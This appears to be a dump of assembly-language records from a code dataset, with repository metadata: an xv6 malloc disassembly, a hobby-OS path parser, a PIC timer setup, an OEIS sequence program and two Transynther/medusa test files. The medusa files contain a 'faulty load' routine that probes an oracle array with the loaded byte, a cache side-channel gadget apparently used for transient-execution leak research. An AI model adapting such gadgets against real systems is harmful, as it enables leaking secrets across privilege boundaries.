$0x3,%eax 712: 83 c0 01 add $0x1,%eax 715: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 718: a1 44 0a 00 00 mov 0xa44,%eax 71d: 89 45 f0 mov %eax,-0x10(%ebp) 720: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 724: 75 23 jne 749 <malloc+0x46> base.s.ptr = freep = prevp = &base; 726: c7 45 f0 3c 0a 00 00 movl $0xa3c,-0x10(%ebp) 72d: 8b 45 f0 mov -0x10(%ebp),%eax 730: a3 44 0a 00 00 mov %eax,0xa44 735: a1 44 0a 00 00 mov 0xa44,%eax 73a: a3 3c 0a 00 00 mov %eax,0xa3c base.s.size = 0; 73f: c7 05 40 0a 00 00 00 movl $0x0,0xa40 746: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 749: 8b 45 f0 mov -0x10(%ebp),%eax 74c: 8b 00 mov (%eax),%eax 74e: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 751: 8b 45 f4 mov -0xc(%ebp),%eax 754: 8b 40 04 mov 0x4(%eax),%eax 757: 3b 45 ec cmp -0x14(%ebp),%eax 75a: 72 4d jb 7a9 <malloc+0xa6> if(p->s.size == nunits) 75c: 8b 45 f4 mov -0xc(%ebp),%eax 75f: 8b 40 04 mov 0x4(%eax),%eax 762: 3b 45 ec cmp -0x14(%ebp),%eax 765: 75 0c jne 773 <malloc+0x70> prevp->s.ptr = p->s.ptr; 767: 8b 45 f4 mov -0xc(%ebp),%eax 76a: 8b 10 mov (%eax),%edx 76c: 8b 45 f0 mov -0x10(%ebp),%eax 76f: 89 10 mov %edx,(%eax) 771: eb 26 jmp 799 <malloc+0x96> else { p->s.size -= nunits; 773: 8b 45 f4 mov -0xc(%ebp),%eax 776: 8b 40 04 mov 0x4(%eax),%eax 779: 89 c2 mov %eax,%edx 77b: 2b 55 ec sub -0x14(%ebp),%edx 77e: 8b 45 f4 mov -0xc(%ebp),%eax 781: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 784: 8b 45 f4 mov -0xc(%ebp),%eax 787: 8b 40 04 mov 0x4(%eax),%eax 78a: c1 e0 03 shl $0x3,%eax 78d: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 790: 8b 45 f4 mov -0xc(%ebp),%eax 793: 8b 55 ec mov -0x14(%ebp),%edx 796: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 799: 8b 45 f0 mov -0x10(%ebp),%eax 79c: a3 44 0a 00 00 mov %eax,0xa44 return (void*)(p + 1); 7a1: 8b 45 f4 mov -0xc(%ebp),%eax 7a4: 83 c0 08 add $0x8,%eax 7a7: eb 38 jmp 7e1 <malloc+0xde> } if(p == freep) 7a9: a1 44 0a 00 00 mov 0xa44,%eax 7ae: 39 45 f4 cmp %eax,-0xc(%ebp) 7b1: 75 1b jne 7ce <malloc+0xcb> if((p = morecore(nunits)) == 0) 7b3: 8b 45 ec mov -0x14(%ebp),%eax 7b6: 89 04 24 mov %eax,(%esp) 7b9: e8 ed fe ff ff call 6ab <morecore> 7be: 89 45 f4 mov %eax,-0xc(%ebp) 7c1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 7c5: 75 07 jne 7ce <malloc+0xcb> return 0; 7c7: b8 00 00 00 00 mov $0x0,%eax 7cc: eb 13 jmp 7e1 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 7ce: 8b 45 f4 mov -0xc(%ebp),%eax 7d1: 89 45 f0 mov %eax,-0x10(%ebp) 7d4: 8b 45 f4 mov -0xc(%ebp),%eax 7d7: 8b 00 mov (%eax),%eax 7d9: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 7dc: e9 70 ff ff ff jmp 751 <malloc+0x4e> } 7e1: c9 leave 7e2: c3 ret 7e3: 90 nop
33.77901
60
0.425143
e3264f2c232870c6a8e1e12e6111ef5dfe5ae264
6,508
asm
Assembly
kernel/vfs/parse.asm
gniuk/BOS
5e144deaab35e84b572c5374dcda25490dd5c737
[ "Unlicense" ]
16
2015-01-21T18:19:25.000Z
2022-02-10T02:56:59.000Z
kernel/vfs/parse.asm
gniuk/BOS
5e144deaab35e84b572c5374dcda25490dd5c737
[ "Unlicense" ]
1
2018-12-27T20:57:54.000Z
2018-12-31T20:00:09.000Z
kernel/vfs/parse.asm
gniuk/BOS
5e144deaab35e84b572c5374dcda25490dd5c737
[ "Unlicense" ]
5
2015-01-16T13:31:14.000Z
2019-07-01T15:17:44.000Z
;--------------------------------------------------------------; ; parse_path - parse path to get info on each part ; ;--------------------------------------------------------------; ; ; ; in: esi = pointer to full ASCIIZ path ; ; cl = part no. to extract or 0 for none ; ; ; ; out: bl = drive no. (VFS assigned) or zero ; ; bh = number of elements or zero for none ; ; edi = pointer to ASCIIZ part of path in ; ; cl, or 0 on error or no input ; ;--------------------------------------------------------------; parse_path: push eax push ecx push edx push esi cmp byte [esi], 0 je .error cmp byte [esi+1], 0 ; minimum 3 chars drive je .error cmp byte [esi+2], 0 je .error and byte [esi], 11011111b ; (0xDF) to uppercase and byte [esi+1], 11011111b ; (0xDF) to uppercase mov bl, 0x00 ; fd base is 0x00 cmp word [esi], 'FD' ; fd check je .drive_found mov bl, 0x10 ; hd base is 0x10 cmp word [esi], 'HD' ; hd check je .drive_found mov bl, 0x60 ; cd base is 0x60 cmp word [esi], 'CD' ; cd check je .drive_found mov bl, 0x80 ; vd base is 0x80 cmp word [esi], 'VD' ; vd (virtual ram drive) check je .drive_found mov bl, 0x90 ; rd base is 0x90 cmp word [esi], 'RD' ; rd (removable/usb) je .drive_found mov bl, 0xB0 ; nd base is 0xB0 cmp word [esi], 'ND' ; nd (net) check je .drive_found jmp .error ; no valid drive found ;-----------------------; ; get drive number ; ;-----------------------; .drive_found: xor edx, edx ; esi offest for first / cmp byte [esi+3], 0 ; end of path je .one_number cmp byte [esi+3], '/' ; one number je .one_number mov edx, 4 ; first / after numbers xor eax, eax mov ax, word [esi+2] ; get 2 bytes number jmp .convert_cont .one_number: mov edx, 3 ; first / after numbers xor eax, eax mov al, byte [esi+2] ; 1 byte ASCII number .convert_cont: push ecx xor ecx, ecx cmp ah, 0 jne .cont_convert pop ecx sub al, 0x30 ; only one ASCII char. jmp .number_found ; done. .cont_convert: mov cl, ah sub cx, 0x30 ; take care of first push ecx ; save it for later.. mov cl, al sub cx, 0x30 shl cx, 1 ; multiply with 10 using mov eax, ecx ; x*8 + x*2 = shl cx, 2 add ax, cx ; x*10 pop ecx add ax, cx ; add first number pop ecx .number_found: add bl, al ; add number to base ;------------------------; ; parse parts of path ; ;------------------------; mov bh, 0 ; start at zero add esi, edx ; add start offset cmp byte [esi], '/' jne .end ; root, no parts xor eax, eax ; counter .parts_loop: ; loop for path parts inc esi cmp byte [esi], 0 ; end of path? je .end ; no inc in parts cmp byte [esi], '/' ; end of part? je .new_part cmp eax, 0 jne .cont_parts inc bh ; inc no. of parts .cont_parts: inc eax ; char count inc cmp cl, bh ; check for part to jne .parts_loop ; save, if match: mov edi, .filename_buffer ; get buffer dec edi ; offset starts at 1, add edi, eax ; not 0 - so fixed now push eax mov al, byte [esi] mov byte [edi], al ; put the byte mov byte [edi+1], 0 ; make ASCIIZ pop eax jmp .parts_loop .new_part: xor eax, eax ; reset char count jmp .parts_loop ; loop again ;------------------------; ; cleanup and return ; ;------------------------; .end: mov edi, .filename_buffer pop esi pop edx pop ecx pop eax ret .error: pop esi pop edx pop ecx pop eax mov edi, 0 ; not a valid part mov bl, 0 ; not a valid drive mov bh, 0 ; not a valid path ret .filename_buffer: times 256 db 0
43.386667
84
0.309926
67e9a3a1ddd74e73d936019a969d8f0e9ec85cf3
7,525
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_15926_1481.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_15926_1481.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-8650U_0xd2.log_15926_1481.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r9 push %rbp push %rbx push %rcx lea addresses_WT_ht+0x4e9d, %r12 and %r11, %r11 mov $0x6162636465666768, %r10 movq %r10, %xmm3 movups %xmm3, (%r12) xor %r9, %r9 lea addresses_WT_ht+0x1d29d, %r9 nop nop nop sub $11541, %rbp mov $0x6162636465666768, %rcx movq %rcx, %xmm4 movups %xmm4, (%r9) nop nop nop nop cmp %rbp, %rbp lea addresses_normal_ht+0x3e9d, %rbp nop nop xor $24606, %r9 mov (%rbp), %r10d sub %r9, %r9 lea addresses_A_ht+0xa515, %r12 nop nop nop and %r10, %r10 mov $0x6162636465666768, %r9 movq %r9, (%r12) nop nop nop nop sub %r10, %r10 lea addresses_UC_ht+0x369d, %rcx nop sub $25736, %r9 vmovups (%rcx), %ymm4 vextracti128 $0, %ymm4, %xmm4 vpextrq $1, %xmm4, %r11 nop nop sub $50199, %r10 lea addresses_normal_ht+0x111fd, %r11 nop and $58924, %rbx movups (%r11), %xmm5 vpextrq $0, %xmm5, %rbp nop nop nop nop add %r11, %r11 lea addresses_WT_ht+0xe69d, %rcx nop nop nop nop inc %r9 mov $0x6162636465666768, %rbx movq %rbx, %xmm5 movups %xmm5, (%rcx) nop cmp %rbx, %rbx lea addresses_UC_ht+0x12e0d, %rbp clflush (%rbp) nop nop nop nop and %r10, %r10 vmovups (%rbp), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %r11 nop nop nop nop dec %r12 lea addresses_WC_ht+0x1669d, %r9 nop nop nop and %rbx, %rbx mov (%r9), %rcx nop and %r11, %r11 pop %rcx pop %rbx pop %rbp pop %r9 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r8 push %rax push %rbp push %rbx push %rsi // Load lea addresses_UC+0x1e69d, %rax nop nop and %r8, %r8 vmovups (%rax), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $1, %xmm6, %rbx nop add $11110, %r13 // Load mov $0xcc38100000000d1, %r13 xor %r10, %r10 movups (%r13), %xmm4 vpextrq $1, %xmm4, %rax sub %r13, %r13 // Load lea addresses_D+0x18f1d, %rax nop nop nop nop and $1984, %rbx movb (%rax), %r8b nop add $11279, %rbx // Store lea addresses_UC+0x669d, %r13 nop nop nop nop and %rbp, %rbp movl $0x51525354, (%r13) nop nop nop nop nop add %rbp, %rbp // Store mov $0x5b35440000000e7d, %r10 nop nop sub $63669, %rax movw $0x5152, (%r10) nop nop nop and %rbp, %rbp // Faulty Load lea addresses_UC+0x1e69d, %rbx clflush (%rbx) nop nop nop nop add %r10, %r10 vmovaps (%rbx), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rsi lea oracles, %rax and $0xff, %rsi shlq $12, %rsi mov (%rax,%rsi,1), %rsi pop %rsi pop %rbx pop %rbp pop %rax pop %r8 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 3, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}} {'00': 15926} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
33.896396
2,999
0.651561
61b750a6fe623db467ee0a99406e1ae857171d29
665
asm
Assembly
src/firmware/Platform/Timer0/Initialise.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
1
2019-12-12T09:07:08.000Z
2019-12-12T09:07:08.000Z
src/firmware/Platform/Timer0/Initialise.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
src/firmware/Platform/Timer0/Initialise.asm
pete-restall/Cluck2Sesame-Prototype
99119b6748847a7b6aeadc4bee42cbed726f7fdc
[ "MIT" ]
null
null
null
#include "Platform.inc" #include "TailCalls.inc" #include "InitialisationChain.inc" #include "Timer0.inc" radix decimal constrainedToMcuFastClockFrequencyHz 4000000 NON_TIMER0_MASK equ (1 << NOT_RABPU) | (1 << INTEDG) PRESCALER_DIVIDE_BY_128 equ b'00000110' extern INITIALISE_AFTER_TIMER0 Timer0 code global initialiseTimer0 initialiseTimer0: .safelySetBankFor slowTmr0 clrf slowTmr0 clrf tmr0Overflow .setBankFor OPTION_REG movlw NON_TIMER0_MASK andwf OPTION_REG .setBankFor INTCON bcf INTCON, T0IF .setBankFor TMR0 clrf TMR0 .setBankFor OPTION_REG movlw PRESCALER_DIVIDE_BY_128 iorwf OPTION_REG tcall INITIALISE_AFTER_TIMER0 end
17.051282
52
0.806015
e3359ea1198d2cfe7664e51cfa7e118efc530ee7
533
asm
Assembly
test.asm
MishaVernik/TASM-compiler
1523bc4f105879ae37cd39a11c5999250b494a78
[ "MIT" ]
null
null
null
test.asm
MishaVernik/TASM-compiler
1523bc4f105879ae37cd39a11c5999250b494a78
[ "MIT" ]
null
null
null
test.asm
MishaVernik/TASM-compiler
1523bc4f105879ae37cd39a11c5999250b494a78
[ "MIT" ]
null
null
null
CDATA SEGMENT M1 DD 111b M2 DW 0Fh M3 DD 20 SMS DB 'COMPILER 1.0.0' CDATA ENDS INCAX MACRO INC AX ENDM INCNUM MACRO NUMBER INC NUMBER ENDM CSEG SEGMENT START: MOV AX, CDATA MOV DS, AX MOV AX, 10h BT AX, BX AAS INC CX DEC WORD PTR [DI] AND AX, WORD PTR [DI] OR WORD PTR [DI + BX], 0001b CMP WORD PTR[DI], DX JL lblJL lblJL: MOV AX, [BX][SI] MOV AL, CS:[BX][DI] MOV CL, ES:[BX + SI] INCAX INCNUM M1 CSEG ENDS END
13.325
32
0.538462
60fac8ed4a7b9458920973d5c2f47c705ef253b4
5,274
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_503.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_503.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_st_/i9-9900K_12_0xa0.log_21829_503.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r8 push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x19ed4, %rsi lea addresses_D_ht+0x17fa6, %rdi nop nop add $55101, %r10 mov $31, %rcx rep movsb and %rbx, %rbx lea addresses_WT_ht+0x914e, %rsi lea addresses_WT_ht+0x13af4, %rdi nop add %r8, %r8 mov $101, %rcx rep movsb nop nop nop nop nop add $50807, %rbx lea addresses_WC_ht+0x1e0d4, %r8 nop and %r11, %r11 movb $0x61, (%r8) nop nop nop sub %r11, %r11 lea addresses_D_ht+0xf4d4, %r10 xor %rdi, %rdi mov (%r10), %bx nop nop nop nop add $39816, %rdi lea addresses_WT_ht+0x124d4, %rbx nop and %rcx, %rcx movw $0x6162, (%rbx) nop add %rdi, %rdi lea addresses_UC_ht+0x17bb4, %r11 nop nop nop nop nop and %r8, %r8 movb (%r11), %r10b nop nop nop add $61953, %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %r8 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r10 push %r13 push %r14 push %rax push %rsi // Faulty Load lea addresses_PSE+0x44d4, %r10 nop and $9706, %rax mov (%r10), %r14w lea oracles, %r10 and $0xff, %r14 shlq $12, %r14 mov (%r10,%r14,1), %r14 pop %rsi pop %rax pop %r14 pop %r13 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': True, 'same': True, 'congruent': 0, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_D_ht'}} {'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 1}} {'src': {'NT': False, 'same': True, 'congruent': 10, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 8, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'} {'33': 21829} 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 */
46.672566
2,999
0.657755
e0dc581e3e4be3d02464cf48bc7c110de855b79b
389
asm
Assembly
programs/oeis/024/A024305.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/024/A024305.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/024/A024305.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A024305: a(n) = 2*(n+1) + 3*n + ... + (k+1)*(n+2-k), where k = floor((n+1)/2). ; 4,6,17,22,43,52,86,100,150,170,239,266,357,392,508,552,696,750,925,990,1199,1276,1522,1612,1898,2002,2331,2450,2825,2960,3384,3536,4012,4182,4713,4902,5491,5700,6350,6580,7294,7546,8327,8602,9453,9752,10676,11000,12000 mov $2,$0 add $0,1 lpb $0 add $2,$0 trn $0,2 add $1,3 add $1,$2 lpe mov $0,$1
29.923077
220
0.62982
f55a2619b673bd4de1a26813a1cc82bec58f02f5
1,182
asm
Assembly
programs/oeis/091/A091998.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/091/A091998.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/091/A091998.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
